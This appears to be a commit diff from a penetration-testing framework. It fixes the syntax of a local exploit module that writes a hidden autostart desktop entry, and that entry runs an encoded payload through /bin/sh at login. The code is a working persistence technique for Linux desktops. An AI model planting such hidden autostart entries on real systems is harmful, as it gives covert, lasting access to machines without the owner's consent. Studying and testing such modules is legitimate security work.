Fix HEREDOC not always supported
parent
e82bde993f
commit
fc234b09c2
|
@ -52,14 +52,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
print_status('Uploading autostart file')
|
||||
cmd_exec("rm #{path}")
|
||||
|
||||
write_file(path, <<~HEREDOC
|
||||
[Desktop Entry]
|
||||
Type=Application
|
||||
Name=#{name}
|
||||
NoDisplay=true
|
||||
Terminal=false
|
||||
Exec=/bin/sh -c "#{payload.encoded}"
|
||||
HEREDOC)
|
||||
write_file(path, [
|
||||
"[Desktop Entry]",
|
||||
"Type=Application",
|
||||
"Name=#{name}",
|
||||
"NoDisplay=true",
|
||||
"Terminal=false",
|
||||
"Exec=/bin/sh -c \"#{payload.encoded}\""
|
||||
].join("\n"))
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue